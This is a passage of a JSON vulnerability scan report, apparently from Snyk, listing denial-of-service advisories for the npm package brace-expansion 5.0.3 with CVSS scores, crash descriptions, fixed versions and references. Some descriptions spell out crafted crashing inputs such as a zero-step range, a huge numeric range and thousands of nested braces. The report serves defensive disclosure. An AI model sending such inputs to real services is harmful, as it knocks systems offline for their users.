"modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": 